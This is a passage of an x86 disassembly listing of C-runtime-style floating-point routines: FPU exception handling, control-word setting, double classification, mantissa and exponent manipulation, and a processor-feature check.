esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CCA0, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB2A8, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CCA0, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2660435h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C8A0 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C890 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C8A0 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C8A0 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C890 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C890 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB2A8, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB2A8, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C7B8 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C890 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C7BC[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C8B8 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C8B8 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C8C4 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2680CABh test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26B0000h test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C534, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C538 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] 